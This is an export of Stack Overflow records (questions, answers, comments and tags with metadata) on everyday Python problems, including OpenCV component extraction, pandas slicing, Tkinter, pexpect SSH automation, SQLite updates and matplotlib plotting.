upvote count: 6
has comment: http://stackoverflow.com/comment/81061222
score: 6
has comment: http://stackoverflow.com/comment/81058511
type: AnsweredQuestion
has title: How to extract the largest connected component using OpenCV and Python?
tagged with: image-segmentation
answer count: 2
linked to: http://stackoverflow.com/q/35854197
has comment: http://stackoverflow.com/comment/81058891
has body: I am using OpenCV in Python to be able to identify only the Leaf presented on the image. I already be able to segment my image, and now I am currently stuck at "how to crop the largest component after I have detected all of them. Below is the codes, please have a look. Using scipy.ndimage, I was unable to advance after find the components: def undesired_objects ( image ): components, n = ndimage.label( image ) components = skimage.morphology.remove_small_objects( components, min_size = 50 ) components, n = ndimage.label( components ) plot.imshow( components ) plot.show() Using OpenCV connectedComponentsWithStats: def undesired_objects ( image ): image = image.astype( 'uint8' ) nb_components, output, stats, centroids = cv2.connectedComponentsWithStats(image, connectivity=4) sizes = stats[1:, -1]; nb_components = nb_components - 1 min_size = 150 img2 = np.zeros(( output.shape )) for i in range(0, nb_components): if sizes[i] &gt;= min_size: img2[output == i + 1] = 255 plot.imshow( img2 ) plot.show() However, in both approaches, I'm still getting more than one component as result. Below, you will find the binary image:
downvote count: 0
possible better answer: http://stackoverflow.com/a/61662694

http://stackoverflow.com/a/47062114
has body: If you want to pass a dynamic argument to function, you should use python argument unpacking: https://docs.python.org/2/tutorial/controlflow.html#unpacking-argument-lists Use ** to unpack a dictionary to function arguments: function_name(**arguments_dict) And here is the code you need from lxml import etree attribute_name = "state" attribute_value = "NJ" attributes = {attribute_name: attribute_value} root = etree.Element('root') root.append(etree.Element("Entry1", **attributes)) print(etree.tostring(root))
score: 0
answers question: http://stackoverflow.com/q/47061157
type: Answer
accepted answer of: http://stackoverflow.com/q/47061157
type: AcceptedAnswer

http://stackoverflow.com/q/46939588
has body: I have a Pandas Series which contains acceleration timeseries data. My goal is to select slices of extreme force given some threshold. I was able to get part way with the following: extremes = series.where(lambda force: abs(force - RESTING_FORCE) &gt;= THRESHOLD, other=np.nan) Now extremes contains all values which exceed the threshold and NaN for any that don't, maintaining the original index. However, a secondary requirement is that nearby peaks should be merged into a single event. Visually, you can picture the three extremes on the left (two high, one low) being joined into one complete segment and the two peaks on the right being joined into another complete segment. I've read through the entire Series reference but I'm having trouble finding methods to operate on my partial dataset. For example, if I had a method that returned an array of non-NaN index ranges, I would be able to sequentially compare each range and decide whether or not to fill in the space between with values from the original series (nearby) or leave them NaN (too far apart). Perhaps I need to abandon the intermediate step and approach this from an entirely different angle? I'm new to Python so I'm having trouble getting very far with this. Any tips would be appreciated.
type: Question
upvote count: 2
tagged with: numpy
has comment: http://stackoverflow.com/comment/80829307
downvote count: 0
has answer: http://stackoverflow.com/a/46976663
accepted answer: http://stackoverflow.com/a/46976663
answer count: 1
has comment: http://stackoverflow.com/comment/80830120
has title: Selecting slices of a Pandas Series based on both index and value conditions
favorite count: 0
score: 2
type: AnsweredQuestion
tagged with: pandas
tagged with: python

http://stackoverflow.com/comment/80939325
comment on: http://stackoverflow.com/a/46996132
type: Comment
type: AnswerComment
score: 1
has text: I add code below that works, the button opens in whatever browser is default in you system. If you have any questions, type away.

http://stackoverflow.com/comment/80992016
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47020787
has text: sorry I was literally just finishing work. I'll give you a +1 to make up for it :)
score: 0

http://stackoverflow.com/a/46943715
has body: isim is not a function, and all you need to do is access that key in the dictionary def girdi_al(): isim = input("isim giriniz: ") return isim def isim_donustur(isim): cikti = isim donusum = {'a':'Ankara','b':'Bursa','c':'Ceyhan'} #How can I do? result = [] for letter in cikti: result.append(donusum[cikti]) print(' '.join(result)) def main(): isim_donustur(girdi_al) # === main === main()
has comment: http://stackoverflow.com/comment/80834884
downvote count: 0
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/46943685
has comment: http://stackoverflow.com/comment/80834944
type: Answer

identifier
tag name: identifier
type: Tag
tags question: http://stackoverflow.com/q/46914923

http://stackoverflow.com/a/46959190
type: Answer
has comment: http://stackoverflow.com/comment/80887954
has body: You have several issues with your code that you need to resolve first. Variable names cannot be integers Variables a, b, c, d, e, f, g, h are all undefined. The argument that you pass into csv.writer() must have have write() functionality - in your case it should be a File object. Hence you should use csv.writer(csvfile), not csv.writer(eachfilename).
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/46959066

http://stackoverflow.com/a/47006719
score: 1
type: AcceptedAnswer
has body: For the first part, you can split it by newline blocks, compress each line, and then join it back on newlines, like so: import re text = "\n".join(re.sub(r"\s+", " ", line) for line in re.split("\n+", text)) print(text) For the second part, you need to escape [ since it's a regex metacharacter (used to define character classes), like so: import re text = re.sub("\[ ", "[", text) text = re.sub(" ]", "]", text) print(text) Note that you don't need to escape the ] because it doesn't match a [ so it isn't special in this context. Try It Online! Alternatively for the second part, text = text.replace("[ ", "[").replace(" ]", "]") because you don't even need regular expressions.
accepted answer of: http://stackoverflow.com/q/47006663
type: Answer
answers question: http://stackoverflow.com/q/47006663
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/46931357
answer count: 1
duplicate of: http://stackoverflow.com/q/10865116
tagged with: keyboard
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46931529
type: UnansweredQuestion
tagged with: python
has title: Tkinter keyboard buttons add letters to Entry
score: 0
tagged with: tkinter
linked to: http://stackoverflow.com/q/10865116
has body: I'm trying to write a code for my GUI. I want a keyboard that adds a letter to the Entry widget. I'm close to it but the problem is that its adding to the entry only the letter 'a' when clicking on the buttons . As you see in my code i added 'a' to the command. command=lambda: set_text('a') Ofcourse is this the reason why its printing 'a' only. But if i take letter from the forloop and make set_text(letter) its showing only H in the Entry widget. I try'd also to remove the second loop change it to set_text(lst[count]) All buttons are adding now 'A' to the Entry. Any idea what i'm doing wrong? my code: from tkinter import * from ttk import * def maakbuttons(): count = 0 lst = [] if count &lt;= 7: for letter in 'ABCDEFGH': lst.append(letter) for letter in lst: Buttons = Button(master=root, text=letter, command=lambda: set_text('a')) Buttons.place(x=20, y=30 +50 * count) count+=1 def set_text(text): a = e.get() + text e.delete(0, len(e.get())) e.insert(0, a) def remove_letter(): last = len(e.get())-1 if last &gt;= 0: e.delete(last) root= Tk() a = root.wm_attributes('-fullscreen', 1) e = Entry(root,width=10) e.place(x=500, y=500) maakbuttons() root.mainloop()
upvote count: 1
tagged with: user-interface
downvote count: 1

http://stackoverflow.com/q/46907043
score: -2
has body: Basically i have array = [[1 2 3],[4 5 6]] I want to sum the values within 1 array to get sum_array = [6,15]. I have tried sum(array) on my actual dataset and got random numbers.(not the anticipated output).
accepted answer: http://stackoverflow.com/a/46907061
type: AnsweredQuestion
tagged with: python-2.7
tagged with: list
has answer: http://stackoverflow.com/a/46907061
has answer: http://stackoverflow.com/a/46907093
favorite count: 0
type: Question
downvote count: 4
has answer: http://stackoverflow.com/a/46907076
upvote count: 2
has answer: http://stackoverflow.com/a/70768940
answer count: 5
has answer: http://stackoverflow.com/a/46907505
has title: How to sum arrays within an array?
possible better answer: http://stackoverflow.com/a/46907093
tagged with: python

http://stackoverflow.com/q/47007641
has title: Using Pexpect to Spawn Terminal Window and SSH command
downvote count: 0
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80997898
has comment: http://stackoverflow.com/comment/80997867
tagged with: pexpect
has comment: http://stackoverflow.com/comment/80986408
tagged with: ssh
has comment: http://stackoverflow.com/comment/80962305
has comment: http://stackoverflow.com/comment/80962246
has body: I am trying to use Python and the Pexpect module to do two things: Open multiple terminal windows (on Mac) to display outputs Send a separate ssh command to each of the terminal windows (each will ssh into a different host, and run another command) This is my current code: import pexpect import time from subprocess import * command = "/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal ssh user@host" ssh_tunnel = pexpect.spawn (command) ssh_tunnel.expect ('Password:') time.sleep (0.1) ssh_tunnel.sendline ("password") time.sleep (60) # ssh_tunnel.expect (pexpect.EOF) The problem that I am seeing is that I'm able to open up a new terminal application, however, no commands are running on that terminal. I am also seeing an issue trying to spawn multiple windows. When I try to do this: ssh_tunnel = pexpect.spawn("/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal") ssh_tunnel.expect ('test') ssh_tunnel2 = pexpect.spawn("/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal") ssh_tunnel2.expect ('test') I only spawn one terminal window. I have tried the subprocess module in python to spawn multiple terminal windows, and that works fine, however I know subprocess doesn't handle ssh as well as pexpect. Subprocess Module code: from subprocess import * command = '/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal' new_terminal = Popen(command, stdin=PIPE, stderr=PIPE, stdout=PIPE, shell=True)
score: 1
tagged with: macos
favorite count: 0
type: Question
tagged with: terminal
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/81057290
comment on: http://stackoverflow.com/a/47053720
has text: Oh, I see, shame on me! I see why it wasn't working the first solution, the dataframe wasn't assigned. But then, I don't get why the np.where solution is not working for me, because it is already assigned: `c=self.df["position"] self.df["position"] = np.where(c == -1, c.shift(), c)`
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/47023576
has title: I'm getting a "mul object is not callable"-error
has comment: http://stackoverflow.com/comment/80994195
tagged with: python
score: 1
upvote count: 3
downvote count: 2
answer count: 1
has answer: http://stackoverflow.com/a/47127182
has body: import sympy as sp def taylorCoefficient(f, a, n): x = sp.symbols("x") coefficient = [] for i in range(0, n + 1): afgeleide = sp.diff(f(x), x, n=n) def f(x0): return afgeleide.subs(x, x0) coefficient += f(a) / sp.factorial(n) return coefficient x = sp.symbols("x") taylorCoefficient(x ** 2 * sp.sin(x / 2), 0, 3) I'm getting a mul object is not callable, but why? (On line afgeleide=...)
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80995355
tagged with: sympy
type: UnansweredQuestion

http://stackoverflow.com/a/46987950
score: 1
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81011140
answers question: http://stackoverflow.com/q/46987858
has comment: http://stackoverflow.com/comment/80943690
has body: The best way is to use a unique integer for each of your labels, i.e aaa=0, aab=1, etc It is convenient for you to use a positional encoding with base 36 (if letters are lowercase english characters + numbers). I don't know the problem you are facing, but pay attention to the fact that this could lead to a huge number of labels (i.e. output classes for your classification problem)
accepted answer of: http://stackoverflow.com/q/46987858
type: Answer
downvote count: 0

http://stackoverflow.com/comment/80941779
type: QuestionComment
comment on: http://stackoverflow.com/q/46992205
has text: What if to put into one schema with prefixes as Django dies by default?
type: Comment
score: 0

http://stackoverflow.com/comment/139192140
type: AnswerComment
comment on: http://stackoverflow.com/a/78931289
score: 1
type: Comment
has text: As it’s currently written, your answer is unclear. Please [edit] to add additional details that will help others understand how this addresses the question asked. You can find more information on how to write good answers [in the help center](/help/how-to-answer).

http://stackoverflow.com/a/47029857
score: 4
type: Answer
upvote count: 4
answers question: http://stackoverflow.com/q/47029740
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47029740
has body: So you’re aware that this works: if not foo in categories and not foo.capitalize() in categories: It parses as (not (foo in categories)) and (not (foo.capitalize() in categories), i.e. foo is not in categories, and foo.capitalize() is not in categories. Since parsing always works the same way and doesn’t guess what you’re most likely to mean, your revised statement if not foo and foo.capitalize() in categories: is parsed as (not foo) and (foo.capitalize() in categories), i.e. foo is not, and foo.capitalize() is in categories A cleaner way to write this in Python is with x not in y instead of not x in y (they’re equivalent): if foo not in categories and foo.capitalize() not in categories: but as far as expressing “neither of these” in a short way here… there’s not much beyond set operators: if not {foo, foo.capitalize()}.intersection(categories): shorthand if categories is also a set: if not {foo, foo.capitalize()} &amp; categories: Notice how it’s not much shorter and how it is harder to understand.

http://stackoverflow.com/comment/81025597
comment on: http://stackoverflow.com/a/47022708
type: AnswerComment
score: 0
has text: its small, now its only 50 rows about 36.3 KB
type: Comment

http://stackoverflow.com/comment/80838998
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46945750
has text: This is the code i was looking for. but im still getting an error saying: No result set to fetch from. Traceback (most recent call last): File "<pyshell#24>", line 2, in <module> call_accessionsByaffliction() File "<pyshell#22>", line 42, in call_accessionsByaffliction for row in result: UnboundLocalError: local variable 'result' referenced before assignment. Any help to fix this? couldnt figure it out

http://stackoverflow.com/comment/80992103
type: Comment
type: QuestionComment
has text: If you just want to set up the environement for your project, I add stuff like this to the virtualenv "activate" script. You already have to run that to start the environment in the first place. Is that what you meant? Although what you describe sounds like the default, so it should already work.
comment on: http://stackoverflow.com/q/47020343
score: 0

http://stackoverflow.com/a/70123651
downvote count: 1
has body: keyerror: 0 generally means that you are trying to access the value stored in a non-existing key 0 in a dictionary. In your code it happens because, being day = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14) T = range (len(day)) you get print(T) range(0, 14) so its first element is 0, and when you run this for p in P: for t in T: RP[P,T] = model.addVar (lb = 0, vtype = GRB.CONTINUOUS, name = 'Regular Production[' + str(p) + ',' + str(t) + ']') print(demand[p][t]) print(fillingrate[p]) RP[p][t] = demand[p][t] / fillingrate[p] print(RP[p][t]) you have that the first value got by t is 0, and then at line RP[p][t] = demand[p][t] / fillingrate[p] when you pass that t to dictionary RP (which I guess has no key 0) a keyerror: 0 is raised. Also, as pointed out by other questions, you should notice that Indexing by [x, y] is absolutely not the same as indexing by [x][y]. The former results in a single dimension indexed using a tuple, whereas the latter results in a ragged 2-D array. To help you fix your code it might be useful to know how RP is defined.
type: Answer
has comment: http://stackoverflow.com/comment/123962151
has comment: http://stackoverflow.com/comment/123959272
upvote count: 2
answers question: http://stackoverflow.com/q/46979360
score: 1

http://stackoverflow.com/a/47019917
downvote count: 0
has comment: http://stackoverflow.com/comment/108568117
has comment: http://stackoverflow.com/comment/108661911
has body: You are not "missing", to the contrary, you just "found out" what name mangling does: it is made to ensure variables with double underscores inside a method will always see the attribute defined in the same class as that method, and in none of its subclasses. If you simply want to use the attribute as it is overriden in each subclass, that is the normal behavior for all other attributes, but for the ones prefixed by two underscores. So, what happens is that the .__data name used inside func is itself mangled, at compile time, to _base__data. OrderedDict Python's collections.OrderedDict have an extra trap: Python offers both a pure-python implementation, which uses the __ for its "private attributes", as explained above, but also have a native code implementation in C, and the private structures of that are not exposed to Python. And the collections module ends the OrderedDict code block with these lines: try: from _collections import OrderedDict except ImportError: # Leave the pure Python version in place. pass That is: the normal "collections.OrderedDict" is written in C, with a lot of opaque structures, that can't be tapped in by subclasses. The only way to have access to the Python defined OrderedDict is by deleting the _collections.OrderedDict attribute (in the _collections, not collections module), and reload the collections module. If you do that, and instantiate one ordered dict, the private data structures can be seem: from imp import reload import _collections, collections backup = _collections.OrderedDict del _collections.OrderedDict collections = reload(collections) PyOrderedDict = collections.OrderedDict _collections.OrderedDict = backup a = PyOrderedDict() dir(a) Out[xx]: ['_OrderedDict__hardroot', '_OrderedDict__map', '_OrderedDict__marker', '_OrderedDict__root', '_OrderedDict__update', '__class__', '__contains__', '__delattr__', ... ]
has comment: http://stackoverflow.com/comment/108666054
has comment: http://stackoverflow.com/comment/108687975
type: Answer
score: 6
upvote count: 6
has comment: http://stackoverflow.com/comment/108571449
has comment: http://stackoverflow.com/comment/108662643
has comment: http://stackoverflow.com/comment/108599589
answers question: http://stackoverflow.com/q/47019802

http://stackoverflow.com/a/46941238
has comment: http://stackoverflow.com/comment/80829913
accepted answer of: http://stackoverflow.com/q/46941070
type: Answer
score: 2
has body: You can try this: x = [-100.0, 100.0, -100.0, -100.0, 200.0, -200.0, 100.0, 100.0, -100.0,100.0] current_sum = 0 current_sub = 0 t1 = [] t2 = [] t3 = [] for i, a in enumerate(x): if a &gt;= 0: if (current_sum + a)+current_sub == 0: t1.append(i) t2.append([t1, t3]) t1 = [] t3 = [] current_sum = 0 current_sub = 0 else: current_sum += a t1.append(i) else: if current_sum + (current_sub + a) == 0: t3.append(i) t2.append([t1, t3]) t1 = [] t3 = [] current_sum = 0 current_sub = 0 else: current_sub += a t3.append(i) print(t2) Output: [[[0], [1]], [[2, 3], [4]], [[5], [6, 7]], [[8], [9]]]
answers question: http://stackoverflow.com/q/46941070
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80830259

http://stackoverflow.com/a/46920040
upvote count: 7
accepted answer of: http://stackoverflow.com/q/46919973
has comment: http://stackoverflow.com/comment/80787768
score: 7
type: Answer
has body: Use a comprehension with groupby The key element is df.groupby which provides the grouping you desire. However, you need to facilitate this into a list so that you have "split" it into separate data frames. You can iterate through the groupby object which passes a tuple where the first element is the name of the group (we mask this with _) and the second element is the individual data frame. By using a comprehension, we can iterate through the groupby and capture the second element of each tuple... thus creating a list of data frames. See: List Comprehensions Grouping Stuff list_of_df = [g for _, g in df.groupby(['NUMBER_OF_TRIPS', 'SERVICE_CLASS'])] print(*list_of_df, sep='\n\n') NUMBER_OF_TRIPS SERVICE_CLASS 6 1 4 7 1 4 8 1 4 9 1 4 10 1 4 11 1 4 NUMBER_OF_TRIPS SERVICE_CLASS 0 3 2 1 3 2 2 3 2 3 3 2 4 3 2 5 3 2
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46919973
downvote count: 0

http://stackoverflow.com/a/47046466
answers question: http://stackoverflow.com/q/47046360
score: -1
downvote count: 2
upvote count: 1
has body: Variables are out of the question, but they can be stored in different positions in a list file = open("filepath","r") data = file.readlines() file.close() data should be each line as an element in a list
type: Answer

http://stackoverflow.com/a/47018053
downvote count: 0
has comment: http://stackoverflow.com/comment/80983374
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/47017709
type: Answer
has body: See this answer here: https://stackoverflow.com/a/33555435/8239103 It seems to do what you want. For clarity I'll post the code here. sequence = [Your sequence as a list as above] your_dataframe = your_dataframe.reindex(columns=sequence)

http://stackoverflow.com/comment/80863141
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46957362
type: QuestionComment
has text: Is the condition being hit?

http://stackoverflow.com/comment/80846812
type: AnswerComment
comment on: http://stackoverflow.com/a/46949128
score: 0
type: Comment
has text: In optimal case, first split file into chunks, set pointers precisly into time line, so i musn't change ranges this chunks

http://stackoverflow.com/comment/81060997
has text: So my mistake was running pd.cut(.....).add_categories() instead of pd.cut(...),values.add_categories() . I still don't understand why the code ran with no error or warnings, though. But thanks!
type: AnswerComment
comment on: http://stackoverflow.com/a/47054209
score: 0
type: Comment

http://stackoverflow.com/q/46910204
accepted answer: http://stackoverflow.com/a/46910409
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/46910409
answer count: 3
tagged with: pandas
has body: I have a dataframe with a column called "Utterances", which contains strings (e.g.: "I wanna have a beer" is its first row). What I need is to create a new data frame that will contain the number of every letter of every row of "Utterances" in the alphabet. This means that for example in the case of "I wanna have a beer", I need to get the following row: 9 23114141 81225 1 25518, since "I" is the 9th letter of the alphabet, "w" the 23rd and so on. Notice that I want the spaces " " to be maintained. What I have done so far is the following: for word in df2'Utterances': for character in word: new.append(ord(character.lower())-96) str1 = ''.join(str(e) for e in new) The above returns the concatenated string. However, the above loop only iterates once and second the string returned by str1 does not have the required spaces (" "). And of course, I can not find a way to append these lines into a new dataframe. Any help would be greatly appreciated. Thanks.
type: Question
has answer: http://stackoverflow.com/a/46910556
possible better answer: http://stackoverflow.com/a/46910518
has answer: http://stackoverflow.com/a/46910518
tagged with: dataframe
tagged with: python
has title: Python - Create dataframe by getting the numbers of alphabetic characters

http://stackoverflow.com/comment/80818815
type: QuestionComment
has text: Please post your code
score: 0
comment on: http://stackoverflow.com/q/46935823
type: Comment

http://stackoverflow.com/a/75061542
has body: Rename the ytick labels using feature_names as a list of strings passed to matplotlib.axes.Axes.set_yticklabels fig, ax = plt.subplots(1,1,figsize=(10,10)) xgb.plot_importance(model, max_num_features=5, ax=ax) ax.set_yticklabels(feature_names) plt.show()
answers question: http://stackoverflow.com/q/46943314
type: Answer
score: 0

http://stackoverflow.com/q/47040342
tagged with: python
has body: I am trying to use the update function to change the favourite song and artist of a user logged into my system. The problem is however, that I can't seem to use 2 variables twice to both find and update the record. The relevant section of my code is below. c.execute(''' UPDATE users SET (favourite_artist, favourite_genre) VALUES(?, ?)''' (self.new_fav_artist_var, self.new_fav_genre_var), ''' WHERE username=? AND password =?''' (self.username_input, self.password_input)) The first section is the variables that contain the new data to be inputted into the table, and the second set of variables is to find the appropriate records for the user logged into the system. Assume for this that the username and password are correct and related to this user, as that has been validated at an earlier point. How can I make this work? Cheers, Josh.
has title: Using UPDATE in SQLite3
type: AnsweredQuestion
tagged with: sql
score: 0
tagged with: sqlite
tagged with: mysql
accepted answer: http://stackoverflow.com/a/47040703
answer count: 1
has answer: http://stackoverflow.com/a/47040703
tagged with: python-3.x
type: Question

http://stackoverflow.com/a/47042233
has comment: http://stackoverflow.com/comment/81369645
type: Answer
has comment: http://stackoverflow.com/comment/81369927
has comment: http://stackoverflow.com/comment/81355971
score: 1
has comment: http://stackoverflow.com/comment/81370033
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: Usually, you do not want to reverse engineer your plot to obtain some data. Instead you can interpolate the array that is later used for plotting the contours and find out which of the points lie in regions of certain values. The following would find all points between the levels of -0.8 and -0.4, print them and show them in red on the plot. import numpy as np; np.random.seed(1) import matplotlib.mlab as mlab import matplotlib.pyplot as plt from scipy.interpolate import Rbf X, Y = np.meshgrid(np.arange(-3.0, 3.0, 0.1), np.arange(-2.4, 1.0, 0.1)) Z1 = mlab.bivariate_normal(X, Y, 1.0, 1.0, 0.0, 0.0) Z2 = mlab.bivariate_normal(X, Y, 1.5, 0.5, 1, 1) Z = 10.0 * (Z2 - Z1) points = np.random.randn(15,2)/1.2 levels = [-1.2, -0.8,-0.4,-0.2] # interpolate points f = Rbf(X.flatten(), Y.flatten(), Z.flatten()) zi = f(points[:,0], points[:,1]) # add interpolated points to array with columns x,y,z points3d = np.zeros((points.shape[0],3)) points3d[:,:2] = points points3d[:,2] = zi # masking condition for points between levels filt = (zi&gt;levels[1]) &amp; (zi &lt;levels[2]) # print points between the second and third level print(points3d[filt,:]) ### plotting fig, ax = plt.subplots() CS = ax.contour(X, Y, Z, levels=levels) ax.clabel(CS, inline=1, fontsize=10) #plot points between the second and third level in red: ax.scatter(points[:,0], points[:,1], c=filt.astype(float), cmap="bwr" ) plt.show()
has comment: http://stackoverflow.com/comment/81369921
accepted answer of: http://stackoverflow.com/q/47025392
has comment: http://stackoverflow.com/comment/81369954
answers question: http://stackoverflow.com/q/47025392
has comment: http://stackoverflow.com/comment/81352193

http://stackoverflow.com/comment/80962508
type: AnswerComment
has text: @Bharathshetty using my phone upvoted .. time for sleep ~
comment on: http://stackoverflow.com/a/47007579
score: 1
type: Comment

http://stackoverflow.com/comment/127784285
type: Comment
comment on: http://stackoverflow.com/a/46973754
type: AnswerComment
score: 0
has text: Where is this documented?

http://stackoverflow.com/a/47001711
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/47001123
score: 2
upvote count: 2
has body: Thanks everyone, I have been able to solve all the problems i experience with the adjusted code below: from reportlab.pdfgen import canvas #from reportlab.lib.units import inch from reportlab.lib.colors import magenta, red file = open(""yourdata"", "r") # text file I need to convert lines = file.read() file.close() report = canvas.Canvas('mypdf5.pdf')#new pdf report i am creating report.setFont("Times-Roman", 20) report.setFillColor(red) report.drawCentredString(100, 800, "Student details") report.setFillColor(magenta) size = 12 y = 790 #y = 2.0*inch #x = 1.3*inch for line in lines.split('\n'): report.setFont("Helvetica", size) report.drawString(10, y, line) #y = y-size*1.2 #size = size+0.5 y = y - 10 report.save() EDIT: In the case whereby your input text file has so many delimiters, then you should do something like this import re file = open("yourdata", "r") # text file I need to convert lines = file.read() lines2 = re.split('; |\n', lines) file.close() With the re package, you can include all delimiters to your text file making easy to display the exact content on the reportlab generated pdf file

http://stackoverflow.com/q/47040526
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/81056270
downvote count: 3
has body: i = 1 d = 1 e = 20199 a = 10242248284272 while(True): print(i) if((i*e)%a == 1): d = i break i = i + 1 Numbers are given to represent lengths of them. I have a piece of Python code which works for really huge numbers and I have to wait for a day maybe two. How can I decrease the time needed for the code to run?
tagged with: loops
has comment: http://stackoverflow.com/comment/81027891
has comment: http://stackoverflow.com/comment/81030080
answer count: 1
linked to: http://stackoverflow.com/q/37404689
favorite count: 0
has comment: http://stackoverflow.com/comment/81027869
has comment: http://stackoverflow.com/comment/81027841
accepted answer: http://stackoverflow.com/a/47060644
type: Question
tagged with: time
has answer: http://stackoverflow.com/a/47060644
linked to: http://stackoverflow.com/q/9009139
tagged with: python
has comment: http://stackoverflow.com/comment/81028286
score: -3
has comment: http://stackoverflow.com/comment/81030771
has title: Decreasing while loop working time for gigantic numbers
has comment: http://stackoverflow.com/comment/81027978
has comment: http://stackoverflow.com/comment/81030670

http://stackoverflow.com/comment/80949952
type: Comment
has text: If you just need to count words, why do you create a list of words?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47000823

http://stackoverflow.com/a/47053147
score: 1
type: Answer
answers question: http://stackoverflow.com/q/47053029
has body: with line.split(), you're not splitting according to commas but to blanks (spaces, linefeeds, tabs). Since there are none, you end up with only 1 item per row. Since this item contains commas, csv module has to quote to make the difference with the actual separator (which is also comma). You would need line.strip().split(",") for it to work, but... using csv to read your data would be a better idea to fix this: replace that: for line in open(some_file): print line line = line.split() writer.writerow(line) by: with open(some_file) as f: cr = csv.reader(f) # default separator is comma already writer.writerows(cr)
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81054149
has comment: http://stackoverflow.com/comment/81053727

strftime
type: Tag
tag name: strftime
tags question: http://stackoverflow.com/q/46984504

http://stackoverflow.com/comment/81062540
has text: Added the complete code now. Thanks a lot for your help. I think I should also mention the fact that opencv is being used in conjunction with tensorflow.
comment on: http://stackoverflow.com/a/47056678
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/80845793
has text: Note that it _requires_ OP to ensure data is entered in JSON format (matters with strings), or else this is going to fail.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46949271
type: Comment

http://stackoverflow.com/a/46911979
score: 2
accepted answer of: http://stackoverflow.com/q/46911896
type: Answer
has comment: http://stackoverflow.com/comment/80771187
answers question: http://stackoverflow.com/q/46911896
has body: class UserViewSet(viewsets.ModelViewSet): queryset = User.objects.all() serializer_class = UserSerializer lookup_field = 'username' If you want to use object lookups other than pk, set 'lookup_field'.
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80774576

http://stackoverflow.com/comment/80986603
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47006629
has text: @MaxYari that's correct, efficiency will go down as soon as inner circle is growing. From the other hand, any kind of uniform/non-uniform sampling denepdendcy is very easy to implement and prove.
type: Comment

http://stackoverflow.com/comment/80788342
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46919899
has text: o wait, it was not an indentation error... wut?
score: 0

http://stackoverflow.com/comment/80866821
score: 0
type: Comment
type: AnswerComment
has text: did you convert your array into numpy?
comment on: http://stackoverflow.com/a/46959683

http://stackoverflow.com/q/46920152
tagged with: turtle-graphics
answer count: 3
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/46940878
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/46940787
possible better answer: http://stackoverflow.com/a/46920267
score: 1
has answer: http://stackoverflow.com/a/46940787
tagged with: python
has answer: http://stackoverflow.com/a/46920267
has body: import turtle def draw_petal(): """This function draws a singel petal """ turtle.forward(30) turtle.right(45) turtle.forward(30) turtle.right(135) turtle.forward(30) turtle.right(45) turtle.forward(30) turtle.right(135) def draw_flower(): """This function uses the draw_petal function to draw a flower""" turtle.left(45) draw_petal() turtle.left(90) draw_petal() turtle.left(90) draw_petal() turtle.left(90) draw_petal() turtle.left(135) turtle.forward(150) def draw_flower_advanced(): """This.....""" draw_flower() turtle.right(90) turtle.up() turtle.forward(150) turtle.right(90) turtle.forward(150) turtle.left(90) turtle.down() def draw_flower_bed(): """Theis function......""" turtle.up() turtle.forward(200) turtle.left(180) turtle.down() draw_flower_advanced() draw_flower_advanced() draw_flower_advanced() draw_flower_bed() turtle.done() ============================ For some reason the turtle never touch the canvas so the pen always up. when im using the pendown() its working , but python 3.6 should have the down() function as well , no?
has title: The turtle.down() does not bring the pen down
type: AnsweredQuestion

http://stackoverflow.com/a/46944476
has comment: http://stackoverflow.com/comment/80836432
type: Answer
has comment: http://stackoverflow.com/comment/80836509
has comment: http://stackoverflow.com/comment/80836644
score: 4
has comment: http://stackoverflow.com/comment/80836579
answers question: http://stackoverflow.com/q/46944446
has comment: http://stackoverflow.com/comment/80836339
upvote count: 4
has comment: http://stackoverflow.com/comment/80836672
has comment: http://stackoverflow.com/comment/80836449
downvote count: 0
has comment: http://stackoverflow.com/comment/80836703
has comment: http://stackoverflow.com/comment/80836588
has comment: http://stackoverflow.com/comment/80836550
has body: I am assuming you are using Python 3. The input() function returns a string, not an integer. You will need to convert it from a string to an integer after you have checked that it isn't a ? input. To do this, use int() Don't use is for comparison, use == Did you import the sqrt function from the math module?
has comment: http://stackoverflow.com/comment/80836370
has comment: http://stackoverflow.com/comment/80836612

http://stackoverflow.com/a/47019994
type: Answer
has comment: http://stackoverflow.com/comment/81018581
score: 2
upvote count: 2
